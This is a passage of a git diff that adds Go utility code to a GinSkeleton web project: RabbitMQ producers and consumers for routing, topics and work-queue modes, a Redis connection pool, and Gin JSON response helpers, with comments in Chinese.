p.durable = true + }) +} + +// 2.消费者端初始化参数定义 + +// OptionsConsumer 定义动态设置参数接口 +type OptionsConsumer interface { + apply(*consumer) +} + +// OptionsConsumerFunc 以函数形式实现上面的接口 +type OptionsConsumerFunc func(*consumer) + +func (f OptionsConsumerFunc) apply(cons *consumer) { + f(cons) +} + +// SetConsMsgDelayParams 开发者设置消费者端初始化时的参数 +func SetConsMsgDelayParams(enableDelayMsgPlugin bool) OptionsConsumer { + return OptionsConsumerFunc(func(c *consumer) { + c.enableDelayMsgPlugin = enableDelayMsgPlugin + c.exchangeType = "x-delayed-message" + c.exchangeName = variable.ConfigYml.GetString("RabbitMq.Routing.DelayedExchangeName") + // 延迟消息队列,交换机、消息全部设置为持久 + c.durable = true + }) +} diff --git a/GinSkeleton/app/utils/rabbitmq/routing/producer.go b/GinSkeleton/app/utils/rabbitmq/routing/producer.go new file mode 100644 index 0000000..e2d248a --- /dev/null +++ b/GinSkeleton/app/utils/rabbitmq/routing/producer.go @@ -0,0 +1,107 @@ +package routing + +import ( + amqp "github.com/rabbitmq/amqp091-go" + "goskeleton/app/global/variable" + "goskeleton/app/utils/rabbitmq/error_record" +) + +// CreateProducer 创建一个生产者 +func CreateProducer(options ...OptionsProd) (*producer, error) { + // 获取配置信息 + conn, err := amqp.Dial(variable.ConfigYml.GetString("RabbitMq.Routing.Addr")) + exchangeType := variable.ConfigYml.GetString("RabbitMq.Routing.ExchangeType") + exchangeName := variable.ConfigYml.GetString("RabbitMq.Routing.ExchangeName") + queueName := variable.ConfigYml.GetString("RabbitMq.Routing.QueueName") + durable := variable.ConfigYml.GetBool("RabbitMq.Routing.Durable") + + if err != nil { + variable.ZapLog.Error(err.Error()) + return nil, err + } + + prod := &producer{ + connect: conn, + exchangeType: exchangeType, + exchangeName: exchangeName, + queueName: queueName, + durable: durable, + } + // 加载用户设置的参数 + for _, val := range options { + val.apply(prod) + } + return prod, nil +} + +// 定义一个消息队列结构体:Routing 模型 +type producer struct { + connect *amqp.Connection + exchangeType string + exchangeName string + queueName string + durable bool + occurError error + enableDelayMsgPlugin bool // 是否使用延迟队列模式 + args amqp.Table +} + +// Send 发送消息 +// 参数: +// routeKey 路由键、 +// data 发送的数据、 +// delayMillisecond 延迟时间(毫秒),只有启用了消息延迟插件才有效果 +func (p *producer) Send(routeKey, data string, delayMillisecond int) bool { + + // 获取一个频道 + ch, err := p.connect.Channel() + p.occurError = error_record.ErrorDeal(err) + defer func() { + _ = ch.Close() + }() + + // 声明交换机,该模式生产者只负责将消息投递到交换机即可 + err = ch.ExchangeDeclare( + p.exchangeName, //交换器名称 + p.exchangeType, //direct(定向消息), 按照路由键名匹配消息 + p.durable, //消息是否持久化 + !p.durable, //交换器是否自动删除 + false, + false, + p.args, + ) + p.occurError = error_record.ErrorDeal(err) + + // 如果队列的声明是持久化的,那么消息也设置为持久化 + msgPersistent := amqp.Transient + if p.durable { + msgPersistent = amqp.Persistent + } + // 投递消息 + if err == nil { + err = ch.Publish( + p.exchangeName, // 交换机名称 + routeKey, // direct 模式默认为空即可 + false, + false, + amqp.Publishing{ + DeliveryMode: msgPersistent, //消息是否持久化,这里与保持保持一致即可 + ContentType: "text/plain", + Body: []byte(data), + Headers: amqp.Table{ + "x-delay": delayMillisecond, // 延迟时间: 毫秒 + }, + }) + } + p.occurError = error_record.ErrorDeal(err) + if p.occurError != nil { // 发生错误,返回 false + return false + } else { + return true + } +} + +// Close 发送完毕手动关闭,这样不影响send多次发送数据 +func (p *producer) Close() { + _ = p.connect.Close() +} diff --git a/GinSkeleton/app/utils/rabbitmq/topics/consumer.go b/GinSkeleton/app/utils/rabbitmq/topics/consumer.go new file mode 100644 index 0000000..2d9cf90 --- /dev/null +++ b/GinSkeleton/app/utils/rabbitmq/topics/consumer.go @@ -0,0 +1,191 @@ +package topics + +import ( + amqp "github.com/rabbitmq/amqp091-go" + "goskeleton/app/global/variable" + "goskeleton/app/utils/rabbitmq/error_record" + "time" +) + +func CreateConsumer(options ...OptionsConsumer) (*consumer, error) { + // 获取配置信息 + conn, err := amqp.Dial(variable.ConfigYml.GetString("RabbitMq.Topics.Addr")) + exchangeType := variable.ConfigYml.GetString("RabbitMq.Topics.ExchangeType") + exchangeName := variable.ConfigYml.GetString("RabbitMq.Topics.ExchangeName") + queueName := variable.ConfigYml.GetString("RabbitMq.Topics.QueueName") + durable := variable.ConfigYml.GetBool("RabbitMq.Topics.Durable") + reconnectInterval := variable.ConfigYml.GetDuration("RabbitMq.Topics.OffLineReconnectIntervalSec") + retryTimes := variable.ConfigYml.GetInt("RabbitMq.Topics.RetryCount") + + if err != nil { + return nil, err + } + + cons := &consumer{ + connect: conn, + exchangeType: exchangeType, + exchangeName: exchangeName, + queueName: queueName, + durable: durable, + connErr: conn.NotifyClose(make(chan *amqp.Error, 1)), + offLineReconnectIntervalSec: reconnectInterval, + retryTimes: retryTimes, + receivedMsgBlocking: make(chan struct{}), + status: 1, + } + // 加载用户设置的参数 + for _, val := range options { + val.apply(cons) + } + return cons, nil +} + +// 定义一个消息队列结构体:Topics 模型 +type consumer struct { + connect *amqp.Connection + exchangeType string + exchangeName string + queueName string + durable bool + occurError error // 记录初始化过程中的错误 + connErr chan *amqp.Error + routeKey string // 断线重连,结构体内部使用 + callbackForReceived func(receivedData string) // 断线重连,结构体内部使用 + offLineReconnectIntervalSec time.Duration + retryTimes int + callbackOffLine func(err *amqp.Error) // 断线重连,结构体内部使用 + enableDelayMsgPlugin bool // 是否使用延迟队列模式 + receivedMsgBlocking chan struct{} // 接受消息时用于阻塞消息处理函数 + status byte // 客户端状态:1=正常;0=异常 + +} + +// Received 接收、处理消息 +func (c *consumer) Received(routeKey string, callbackFunDealMsg func(receivedData string)) { + defer func() { + c.close() + }() + // 将回调函数地址赋值给结构体变量,用于掉线重连使用 + c.routeKey = routeKey + c.callbackForReceived = callbackFunDealMsg + + go func(key string) { + + ch, err := c.connect.Channel() + c.occurError = error_record.ErrorDeal(err) + defer func() { + _ = ch.Close() + }() + + // 声明exchange交换机 + err = ch.ExchangeDeclare( + c.exchangeName, //exchange name + c.exchangeType, //exchange kind + c.durable, //数据是否持久化 + !c.durable, //所有连接断开时,交换机是否删除 + false, + false, + nil, + ) + // 声明队列 + queue, err := ch.QueueDeclare( + c.queueName, + c.durable, + true, + false, + false, + nil, + ) + c.occurError = error_record.ErrorDeal(err) + + //队列绑定 + err = ch.QueueBind( + queue.Name, + key, // Topics 模式,生产者会将消息投递至交换机的route_key, 消费者匹配不同的key获取消息、处理 + c.exchangeName, + false, + nil, + ) + c.occurError = error_record.ErrorDeal(err) + if err != nil { + return + } + msgs, err := ch.Consume( + queue.Name, // 队列名称 + "", // 消费者标记,请确保在一个消息频道唯一 + true, //是否自动确认,这里设置为 true,自动确认 + false, //是否私有队列,false标识允许多个 consumer 向该队列投递消息,true 表示独占 + false, //RabbitMQ不支持noLocal标志。 + false, // 队列如果已经在服务器声明,设置为 true ,否则设置为 false; + nil, + ) + c.occurError = error_record.ErrorDeal(err) + if err == nil { + for { + select { + case msg := <-msgs: + // 消息处理 + if c.status == 1 && len(msg.Body) > 0 { + callbackFunDealMsg(string(msg.Body)) + } else if c.status == 0 { + return + } + } + } + } else { + return + } + }(routeKey) + + if _, isOk := <-c.receivedMsgBlocking; isOk { + c.status = 0 + close(c.receivedMsgBlocking) + } + +} + +// OnConnectionError 消费者端,掉线重连失败后的错误回调 +func (c *consumer) OnConnectionError(callbackOfflineErr func(err *amqp.Error)) { + c.callbackOffLine = callbackOfflineErr + go func() { + select { + case err := <-c.connErr: + var i = 1 + for i = 1; i <= c.retryTimes; i++ { + // 自动重连机制 + time.Sleep(c.offLineReconnectIntervalSec * time.Second) + // 发生连接错误时,中断原来的消息监听(包括关闭连接) + if c.status == 1 { + c.receivedMsgBlocking <- struct{}{} + } + conn, err := CreateConsumer() + if err != nil { + continue + } else { + go func() { + c.connErr = conn.connect.NotifyClose(make(chan *amqp.Error, 1)) + go conn.OnConnectionError(c.callbackOffLine) + conn.Received(c.routeKey, c.callbackForReceived) + }() + // 新的客户端重连成功后,释放旧的回调函数 - OnConnectionError + if c.status == 0 { + return + } + break + } + } + if i > c.retryTimes { + callbackOfflineErr(err) + // 如果超过最大重连次数,同样需要释放回调函数 - OnConnectionError + if c.status == 0 { + return + } + } + } + }() +} + +// close 关闭连接 +func (c *consumer) close() { + _ = c.connect.Close() +} diff --git a/GinSkeleton/app/utils/rabbitmq/topics/options.go b/GinSkeleton/app/utils/rabbitmq/topics/options.go new file mode 100644 index 0000000..67b5060 --- /dev/null +++ b/GinSkeleton/app/utils/rabbitmq/topics/options.go @@ -0,0 +1,62 @@ +package topics + +import ( + amqp "github.com/rabbitmq/amqp091-go" + "goskeleton/app/global/variable" +) + +// 等 go 泛型稳定以后,生产者和消费者初始化参数的设置,本段代码就可以继续精简 +// 目前 apply(*producer) 的参数只能固定为生产者或者消费者其中之一的具体类型 + +// 1.生产者初始化参数定义 + +// OptionsProd 定义动态设置参数接口 +type OptionsProd interface { + apply(*producer) +} + +// OptionFunc 以函数形式实现上面的接口 +type OptionFunc func(*producer) + +func (f OptionFunc) apply(prod *producer) { + f(prod) +} + +// SetProdMsgDelayParams 开发者设置生产者初始化时的参数 +func SetProdMsgDelayParams(enableMsgDelayPlugin bool) OptionsProd { + return OptionFunc(func(p *producer) { + p.enableDelayMsgPlugin = enableMsgDelayPlugin + p.exchangeType = "x-delayed-message" + p.args = amqp.Table{ + "x-delayed-type": "topic", + } + p.exchangeName = variable.ConfigYml.GetString("RabbitMq.Topics.DelayedExchangeName") + // 延迟消息队列,交换机、消息全部设置为持久 + p.durable = true + }) +} + +// 2.消费者端初始化参数定义 + +// OptionsConsumer 定义动态设置参数接口 +type OptionsConsumer interface { + apply(*consumer) +} + +// OptionsConsumerFunc 以函数形式实现上面的接口 +type OptionsConsumerFunc func(*consumer) + +func (f OptionsConsumerFunc) apply(cons *consumer) { + f(cons) +} + +// SetConsMsgDelayParams 开发者设置消费者端初始化时的参数 +func SetConsMsgDelayParams(enableDelayMsgPlugin bool) OptionsConsumer { + return OptionsConsumerFunc(func(c *consumer) { + c.enableDelayMsgPlugin = enableDelayMsgPlugin + c.exchangeType = "x-delayed-message" + c.exchangeName = variable.ConfigYml.GetString("RabbitMq.Topics.DelayedExchangeName") + // 延迟消息队列,交换机、消息全部设置为持久 + c.durable = true + }) +} diff --git a/GinSkeleton/app/utils/rabbitmq/topics/producer.go b/GinSkeleton/app/utils/rabbitmq/topics/producer.go new file mode 100644 index 0000000..748772e --- /dev/null +++ b/GinSkeleton/app/utils/rabbitmq/topics/producer.go @@ -0,0 +1,107 @@ +package topics + +import ( + amqp "github.com/rabbitmq/amqp091-go" + "goskeleton/app/global/variable" + "goskeleton/app/utils/rabbitmq/error_record" +) + +// CreateProducer 创建一个生产者 +func CreateProducer(options ...OptionsProd) (*producer, error) { + // 获取配置信息 + conn, err := amqp.Dial(variable.ConfigYml.GetString("RabbitMq.Topics.Addr")) + exchangeType := variable.ConfigYml.GetString("RabbitMq.Topics.ExchangeType") + exchangeName := variable.ConfigYml.GetString("RabbitMq.Topics.ExchangeName") + queueName := variable.ConfigYml.GetString("RabbitMq.Topics.QueueName") + durable := variable.ConfigYml.GetBool("RabbitMq.Topics.Durable") + + if err != nil { + variable.ZapLog.Error(err.Error()) + return nil, err + } + + prod := &producer{ + connect: conn, + exchangeType: exchangeType, + exchangeName: exchangeName, + queueName: queueName, + durable: durable, + } + // 加载用户设置的参数 + for _, val := range options { + val.apply(prod) + } + return prod, nil +} + +// 定义一个消息队列结构体:Topics 模型 +type producer struct { + connect *amqp.Connection + exchangeType string + exchangeName string + queueName string + durable bool + occurError error + enableDelayMsgPlugin bool // 是否使用延迟队列模式 + args amqp.Table +} + +// Send 发送消息 +// 参数: +// routeKey 路由键、 +// data 发送的数据、 +// delayMillisecond 延迟时间(毫秒),只有启用了消息延迟插件才有效果 +func (p *producer) Send(routeKey, data string, delayMillisecond int) bool { + + // 获取一个频道 + ch, err := p.connect.Channel() + p.occurError = error_record.ErrorDeal(err) + defer func() { + _ = ch.Close() + }() + + // 声明交换机,该模式生产者只负责将消息投递到交换机即可 + err = ch.ExchangeDeclare( + p.exchangeName, //交换器名称 + p.exchangeType, //topic模式 + p.durable, //交换机是否持久化 + !p.durable, //交换器是否自动删除 + false, + false, + p.args, + ) + p.occurError = error_record.ErrorDeal(err) + + // 如果交换机是持久化的,那么消息也设置为持久化 + msgPersistent := amqp.Transient + if p.durable { + msgPersistent = amqp.Persistent + } + // 投递消息 + if err == nil { + err = ch.Publish( + p.exchangeName, // 交换机名称 + routeKey, // topics 模式默认为空即可 + false, + false, + amqp.Publishing{ + DeliveryMode: msgPersistent, //消息是否持久化,这里与保持保持一致即可 + ContentType: "text/plain", + Body: []byte(data), + Headers: amqp.Table{ + "x-delay": delayMillisecond, // 延迟时间: 毫秒 + }, + }) + } + p.occurError = error_record.ErrorDeal(err) + if p.occurError != nil { // 发生错误,返回 false + return false + } else { + return true + } +} + +// Close 发送完毕手动关闭,这样不影响send多次发送数据 +func (p *producer) Close() { + _ = p.connect.Close() +} diff --git a/GinSkeleton/app/utils/rabbitmq/work_queue/consumer.go b/GinSkeleton/app/utils/rabbitmq/work_queue/consumer.go new file mode 100644 index 0000000..130c460 --- /dev/null +++ b/GinSkeleton/app/utils/rabbitmq/work_queue/consumer.go @@ -0,0 +1,167 @@ +package work_queue + +import ( + amqp "github.com/rabbitmq/amqp091-go" + "goskeleton/app/global/variable" + "goskeleton/app/utils/rabbitmq/error_record" + "time" +) + +func CreateConsumer() (*consumer, error) { + // 获取配置信息 + conn, err := amqp.Dial(variable.ConfigYml.GetString("RabbitMq.WorkQueue.Addr")) + queueName := variable.ConfigYml.GetString("RabbitMq.WorkQueue.QueueName") + durable := variable.ConfigYml.GetBool("RabbitMq.WorkQueue.Durable") + chanNumber := variable.ConfigYml.GetInt("RabbitMq.WorkQueue.ConsumerChanNumber") + reconnectInterval := variable.ConfigYml.GetDuration("RabbitMq.WorkQueue.OffLineReconnectIntervalSec") + retryTimes := variable.ConfigYml.GetInt("RabbitMq.WorkQueue.RetryCount") + + if err != nil { + return nil, err + } + + cons := &consumer{ + connect: conn, + queueName: queueName, + durable: durable, + chanNumber: chanNumber, + connErr: conn.NotifyClose(make(chan *amqp.Error, 1)), + offLineReconnectIntervalSec: reconnectInterval, + retryTimes: retryTimes, + receivedMsgBlocking: make(chan struct{}), + status: 1, + } + return cons, nil +} + +// 定义一个消息队列结构体:WorkQueue 模型 +type consumer struct { + connect *amqp.Connection + queueName string + durable bool + chanNumber int + occurError error + connErr chan *amqp.Error + callbackForReceived func(receivedData string) // 断线重连,结构体内部使用 + offLineReconnectIntervalSec time.Duration + retryTimes int + callbackOffLine func(err *amqp.Error) // 断线重连,结构体内部使用 + receivedMsgBlocking chan struct{} // 接受消息时用于阻塞消息处理函数 + status byte // 客户端状态:1=正常;0=异常 +} + +// Received 接收、处理消息 +func (c *consumer) Received(callbackFunDealMsg func(receivedData string)) { + defer func() { + c.close() + }() + // 将回调函数地址赋值给结构体变量,用于掉线重连使用 + c.callbackForReceived = callbackFunDealMsg + + for i := 1; i <= c.chanNumber; i++ { + go func(chanNo int) { + + ch, err := c.connect.Channel() + c.occurError = error_record.ErrorDeal(err) + defer func() { + _ = ch.Close() + }() + + q, err := ch.QueueDeclare( + c.queueName, + c.durable, + true, + false, + false, + nil, + ) + c.occurError = error_record.ErrorDeal(err) + + err = ch.Qos( + 1, // 大于0,服务端将会传递该数量的消息到消费者端进行待处理(通俗地说,就是消费者端积压消息的数量最大值) + 0, // prefetch size + false, // false 表示本连接只针对本频道有效,true表示应用到本连接的所有频道 + ) + c.occurError = error_record.ErrorDeal(err) + if err != nil { + return + } + msgs, err := ch.Consume( + q.Name, + "", // 消费者标记,请确保在一个消息频道唯一 + true, //是否自动确认,这里设置为 true 自动确认,如果是 false 后面需要调用 ack 函数确认 + false, //是否私有队列,false标识允许多个 consumer 向该队列投递消息,true 表示独占 + false, //RabbitMQ不支持noLocal标志。 + false, // 队列如果已经在服务器声明,设置为 true ,否则设置为 false; + nil, + ) + c.occurError = error_record.ErrorDeal(err) + if err == nil { + for { + select { + case msg := <-msgs: + // 消息处理 + if c.status == 1 && len(msg.Body) > 0 { + callbackFunDealMsg(string(msg.Body)) + } else if c.status == 0 { + return + } + } + } + } else { + return + } + }(i) + } + if _, isOk := <-c.receivedMsgBlocking; isOk { + c.status = 0 + close(c.receivedMsgBlocking) + } + +} + +// OnConnectionError 消费者端,掉线重连失败后的错误回调 +func (c *consumer) OnConnectionError(callbackOfflineErr func(err *amqp.Error)) { + c.callbackOffLine = callbackOfflineErr + go func() { + select { + case err := <-c.connErr: + var i = 1 + for i = 1; i <= c.retryTimes; i++ { + // 自动重连机制 + time.Sleep(c.offLineReconnectIntervalSec * time.Second) + // 发生连接错误时,中断原来的消息监听(包括关闭连接) + if c.status == 1 { + c.receivedMsgBlocking <- struct{}{} + } + conn, err := CreateConsumer() + if err != nil { + continue + } else { + go func() { + c.connErr = conn.connect.NotifyClose(make(chan *amqp.Error, 1)) + go conn.OnConnectionError(c.callbackOffLine) + conn.Received(c.callbackForReceived) + }() + // 新的客户端重连成功后,释放旧的回调函数 - OnConnectionError + if c.status == 0 { + return + } + break + } + } + if i > c.retryTimes { + callbackOfflineErr(err) + // 如果超过最大重连次数,同样需要释放回调函数 - OnConnectionError + if c.status == 0 { + return + } + } + } + }() +} + +// close 关闭连接 +func (c *consumer) close() { + _ = c.connect.Close() +} diff --git a/GinSkeleton/app/utils/rabbitmq/work_queue/producer.go b/GinSkeleton/app/utils/rabbitmq/work_queue/producer.go new file mode 100644 index 0000000..1ba02e0 --- /dev/null +++ b/GinSkeleton/app/utils/rabbitmq/work_queue/producer.go @@ -0,0 +1,88 @@ +package work_queue + +import ( + amqp "github.com/rabbitmq/amqp091-go" + "goskeleton/app/global/variable" + "goskeleton/app/utils/rabbitmq/error_record" +) + +// CreateProducer 创建一个生产者 +func CreateProducer() (*producer, error) { + // 获取配置信息 + conn, err := amqp.Dial(variable.ConfigYml.GetString("RabbitMq.WorkQueue.Addr")) + queueName := variable.ConfigYml.GetString("RabbitMq.WorkQueue.QueueName") + durable := variable.ConfigYml.GetBool("RabbitMq.WorkQueue.Durable") + + if err != nil { + variable.ZapLog.Error(err.Error()) + return nil, err + } + + prod := &producer{ + connect: conn, + queueName: queueName, + durable: durable, + } + return prod, nil +} + +// 定义一个消息队列结构体:helloworld 模型 +type producer struct { + connect *amqp.Connection + queueName string + durable bool + occurError error +} + +func (p *producer) Send(data string) bool { + + // 获取一个频道 + ch, err := p.connect.Channel() + p.occurError = error_record.ErrorDeal(err) + + defer func() { + _ = ch.Close() + }() + + // 声明消息队列 + _, err = ch.QueueDeclare( + p.queueName, // 队列名称 + p.durable, //队列是否持久化,false模式数据全部处于内存,true会保存在erlang自带数据库,但是影响速度 + !p.durable, //生产者、消费者全部断开时是否删除队列。一般来说,数据需要持久化,就不删除;非持久化,就删除 + false, //是否私有队列,false标识允许多个 consumer 向该队列投递消息,true 表示独占 + false, // 队列如果已经在服务器声明,设置为 true ,否则设置为 false; + nil, // 相关参数 + ) + p.occurError = error_record.ErrorDeal(err) + + // 如果队列的声明是持久化的,那么消息也设置为持久化 + msgPersistent := amqp.Transient + if p.durable { + msgPersistent = amqp.Persistent + } + + // 投递消息 + if err == nil { + err = ch.Publish( + "", // helloworld 、workqueue 模式设置为空字符串,表示使用默认交换机 + p.queueName, // 注意:简单模式 key 表示队列名称 + false, + false, + amqp.Publishing{ + DeliveryMode: msgPersistent, //消息是否持久化,这里与保持保持一致即可 + ContentType: "text/plain", + Body: []byte(data), + }) + } + p.occurError = error_record.ErrorDeal(err) + if p.occurError != nil { // 发生错误,返回 false + return false + } else { + return true + } +} + +// Close 发送完毕手动关闭,这样不影响send多次发送数据 +func (p *producer) Close() { + _ = p.connect.Close() +} diff --git a/GinSkeleton/app/utils/redis_factory/client.go b/GinSkeleton/app/utils/redis_factory/client.go new file mode 100644 index 0000000..e430112 --- /dev/null +++ b/GinSkeleton/app/utils/redis_factory/client.go @@ -0,0 +1,162 @@ +package redis_factory + +import ( + "github.com/gomodule/redigo/redis" + "go.uber.org/zap" + "goskeleton/app/core/event_manage" + "goskeleton/app/global/my_errors" + "goskeleton/app/global/variable" + "goskeleton/app/utils/yml_config" + "goskeleton/app/utils/yml_config/ymlconfig_interf" + "time" +) + +var redisPool *redis.Pool +var configYml ymlconfig_interf.YmlConfigInterf + +// 处于程序底层的包,init 初始化的代码段的执行会优先于上层代码,因此这里读取配置项不能使用全局配置项变量 +func init() { + configYml = yml_config.CreateYamlFactory() + redisPool = initRedisClientPool() +} +func initRedisClientPool() *redis.Pool { + redisPool = &redis.Pool{ + MaxIdle: configYml.GetInt("Redis.MaxIdle"), //最大空闲数 + MaxActive: configYml.GetInt("Redis.MaxActive"), //最大活跃数 + IdleTimeout: configYml.GetDuration("Redis.IdleTimeout") * time.Second, //最大的空闲连接等待时间,超过此时间后,空闲连接将被关闭 + Dial: func() (redis.Conn, error) { + //此处对应redis ip及端口号 + conn, err := redis.Dial("tcp", configYml.GetString("Redis.Host")+":"+configYml.GetString("Redis.Port")) + if err != nil { + variable.ZapLog.Error(my_errors.ErrorsRedisInitConnFail + err.Error()) + return nil, err + } + auth := configYml.GetString("Redis.Auth") //通过配置项设置redis密码 + if len(auth) >= 1 { + if _, err := conn.Do("AUTH", auth); err != nil { + _ = conn.Close() + variable.ZapLog.Error(my_errors.ErrorsRedisAuthFail + err.Error()) + } + } + _, _ = conn.Do("select", configYml.GetInt("Redis.IndexDb")) + return conn, err + }, + } + // 将redis的关闭事件,注册在全局事件统一管理器,由程序退出时统一销毁 + eventManageFactory := event_manage.CreateEventManageFactory() + if _, exists := eventManageFactory.Get(variable.EventDestroyPrefix + "Redis"); exists == false { + eventManageFactory.Set(variable.EventDestroyPrefix+"Redis", func(args ...interface{}) { + _ = redisPool.Close() + }) + } + return redisPool +} + +// 从连接池获取一个redis连接 +func GetOneRedisClient() *RedisClient { + maxRetryTimes := configYml.GetInt("Redis.ConnFailRetryTimes") + var oneConn redis.Conn + for i := 1; i <= maxRetryTimes; i++ { + oneConn = redisPool.Get() + // 首先通过执行一个获取时间的命令检测连接是否有效,如果已有的连接无法执行命令,则重新尝试连接到redis服务器获取新的连接池地址 + // 连接不可用可能会发生的场景主要有:服务端redis重启、客户端网络在有线和无线之间切换等 + if _, replyErr := oneConn.Do("time"); replyErr != nil { + //fmt.Printf("连接已经失效(出错):%+v\n", replyErr.Error()) + // 如果已有的redis连接池获取连接出错(官方库的说法是连接不可用),那么继续使用从新初始化连接池 + initRedisClientPool() + oneConn = redisPool.Get() + } + + if err := oneConn.Err(); err != nil { + //variable.ZapLog.Error("Redis:网络中断,开始重连进行中..." , zap.Error(oneConn.Err())) + if i == maxRetryTimes { + variable.ZapLog.Error(my_errors.ErrorsRedisGetConnFail, zap.Error(oneConn.Err())) + return nil + } + //如果出现网络短暂的抖动,短暂休眠后,支持自动重连 + time.Sleep(time.Second * configYml.GetDuration("Redis.ReConnectInterval")) + } else { + break + } + } + return &RedisClient{oneConn} +} + +// 定义一个redis客户端结构体 +type RedisClient struct { + client redis.Conn +} + +// 为redis-go 客户端封装统一操作函数入口 +func (r *RedisClient) Execute(cmd string, args ...interface{}) (interface{}, error) { + return r.client.Do(cmd, args...) +} + +// 释放连接到连接池 +func (r *RedisClient) ReleaseOneRedisClient() { + _ = r.client.Close() +} + +// 封装几个数据类型转换的函数 + +// bool 类型转换 +func (r *RedisClient) Bool(reply interface{}, err error) (bool, error) { + return redis.Bool(reply, err) +} + +// string 类型转换 +func (r *RedisClient) String(reply interface{}, err error) (string, error) { + return redis.String(reply, err) +} + +// string map 类型转换 +func (r *RedisClient) StringMap(reply interface{}, err error) (map[string]string, error) { + return redis.StringMap(reply, err) +} + +// strings 类型转换 +func (r *RedisClient) Strings(reply interface{}, err error) ([]string, error) { + return redis.Strings(reply, err) +} + +// Float64 类型转换 +func (r *RedisClient) Float64(reply interface{}, err error) (float64, error) { + return redis.Float64(reply, err) +} + +// int 类型转换 +func (r *RedisClient) Int(reply interface{}, err error) (int, error) { + return redis.Int(reply, err) +} + +// int64 类型转换 +func (r *RedisClient) Int64(reply interface{}, err error) (int64, error) { + return redis.Int64(reply, err) +} + +// int map 类型转换 +func (r *RedisClient) IntMap(reply interface{}, err error) (map[string]int, error) { + return redis.IntMap(reply, err) +} + +// Int64Map 类型转换 +func (r *RedisClient) Int64Map(reply interface{}, err error) (map[string]int64, error) { + return redis.Int64Map(reply, err) +} + +// int64s 类型转换 +func (r *RedisClient) Int64s(reply interface{}, err error) ([]int64, error) { + return redis.Int64s(reply, err) +} + +// uint64 类型转换 +func (r *RedisClient) Uint64(reply interface{}, err error) (uint64, error) { + return redis.Uint64(reply, err) +} + +// Bytes 类型转换 +func (r *RedisClient) Bytes(reply interface{}, err error) ([]byte, error) { + return redis.Bytes(reply, err) +} + +// 以上封装了很多最常见类型转换函数,其他您可以参考以上格式自行封装 diff --git a/GinSkeleton/app/utils/response/response.go b/GinSkeleton/app/utils/response/response.go new file mode 100644 index 0000000..22b0247 --- /dev/null +++ b/GinSkeleton/app/utils/response/response.go @@ -0,0 +1,102 @@ +package response + +import ( + "github.com/gin-gonic/gin" + "github.com/go-playground/validator/v10" + "goskeleton/app/global/consts" + "goskeleton/app/global/my_errors" + "goskeleton/app/utils/validator_translation" + "net/http" + "strings" +) + +func ReturnJson(Context *gin.Context, httpCode int, dataCode int, msg string, data interface{}) { + + //Context.Header("key2020","value2020") //可以根据实际情况在头部添加额外的其他信息 + Context.JSON(httpCode, gin.H{ + "code": dataCode, + "msg": msg, + "data": data, + }) +} + +//ReturnJsonFromString 将json字符窜以标准json格式返回(例如,从redis读取json格式的字符串,返回给浏览器json格式) +func ReturnJsonFromString(Context *gin.Context, httpCode int, jsonStr string) { + Context.Header("Content-Type", "application/json; charset=utf-8") + Context.String(httpCode, jsonStr) +} + +// 语法糖函数封装 + +//Success 直接返回成功 +func Success(c *gin.Context, msg string, data interface{}) { + ReturnJson(c, http.StatusOK, consts.CurdStatusOkCode, msg, data) +} + +//Fail 失败的业务逻辑 +func Fail(c *gin.Context, dataCode int, msg string, data interface{}) { + ReturnJson(c, http.StatusBadRequest, dataCode, msg, data) + c.Abort() +} + +// ErrorTokenBaseInfo token 基本的格式错误 +func ErrorTokenBaseInfo(c *gin.Context) { + ReturnJson(c, http.StatusBadRequest, http.StatusBadRequest, my_errors.ErrorsTokenBaseInfo, "") + //终止可能已经被加载的其他回调函数的执行 + c.Abort() +} + +//ErrorTokenAuthFail token 权限校验失败 +func ErrorTokenAuthFail(c *gin.Context) { + ReturnJson(c, http.StatusUnauthorized, http.StatusUnauthorized, my_errors.ErrorsNoAuthorization, "") + //终止可能已经被加载的其他回调函数的执行 + c.Abort() +} + +//ErrorTokenRefreshFail token不符合刷新条件 +func ErrorTokenRefreshFail(c *gin.Context) { + ReturnJson(c, http.StatusUnauthorized, http.StatusUnauthorized, my_errors.ErrorsRefreshTokenFail, "") + //终止可能已经被加载的其他回调函数的执行 + c.Abort() +} + +//token 参数校验错误 +func TokenErrorParam(c *gin.Context, wrongParam interface{}) { + ReturnJson(c, http.StatusUnauthorized, consts.ValidatorParamsCheckFailCode, consts.ValidatorParamsCheckFailMsg, wrongParam) + c.Abort() +} + +// ErrorCasbinAuthFail 鉴权失败,返回 405 方法不允许访问 +func ErrorCasbinAuthFail(c *gin.Context, msg interface{}) { + ReturnJson(c, http.StatusMethodNotAllowed, http.StatusMethodNotAllowed, my_errors.ErrorsCasbinNoAuthorization, msg) + c.Abort() +} + +//ErrorParam 参数校验错误 +func ErrorParam(c *gin.Context, wrongParam interface{}) { + ReturnJson(c, http.StatusBadRequest, consts.ValidatorParamsCheckFailCode, consts.ValidatorParamsCheckFailMsg, wrongParam) + c.Abort() +} + +// ErrorSystem 系统执行代码错误 +func ErrorSystem(c *gin.Context, msg string, data interface{}) { + ReturnJson(c, http.StatusInternalServerError, consts.ServerOccurredErrorCode, consts.ServerOccurredErrorMsg+msg, data) + c.Abort() +} + +// ValidatorError 翻译表单参数验证器出现的校验错误 +func ValidatorError(c *gin.Context, err error) { + if errs, ok := err.(validator.ValidationErrors); ok { + wrongParam := validator_translation.RemoveTopStruct(errs.Translate(validator_translation.Trans)) + ReturnJson(c, http.StatusBadRequest, consts.ValidatorParamsCheckFailCode, consts.ValidatorParamsCheckFailMsg, wrongParam) + } else { + errStr := err.Error() + // multipart:nextpart:eof 错误表示验证器需要一些参数,但是调用者没有提交任何参数 + if strings.ReplaceAll(strings.ToLower(errStr), " ", "") == "multipart:nextpart:eof" { + ReturnJson(c, http.StatusBadRequest, consts.ValidatorParamsCheckFailCode, consts.ValidatorParamsCheckFailMsg, gin.H{"tips": my_errors.ErrorNotAllParamsIsBlank}) + } else { + ReturnJson(c, http.StatusBadRequest, consts.ValidatorParamsCheckFailCode, consts.ValidatorParamsCheckFailMsg, gin.H{"tips": errStr}) + } + } + c.Abort() +} diff --git a/GinSkeleton/app/utils/snow_flake/snow_flake.go b/GinSkeleton/app/utils/snow_flake/snow_flake.go new file mode 100644 index 0000000..fa5bef3 --- /dev/null +++ b/GinSkeleton/app/utils/snow_flake/snow_flake.go @@ -0,0 +1,47 @@ +package snow_flake + +import ( + "goskeleton/app/global/consts" + "goskeleton/app/global/variable" + "goskeleton/app/utils/snow_flake/snowflake_interf" + "sync" + "time" +) + +// 创建一个雪花算法生成器(生成工厂) +func CreateSnowflakeFactory() snowflake_interf.InterfaceSnowFlake { + return 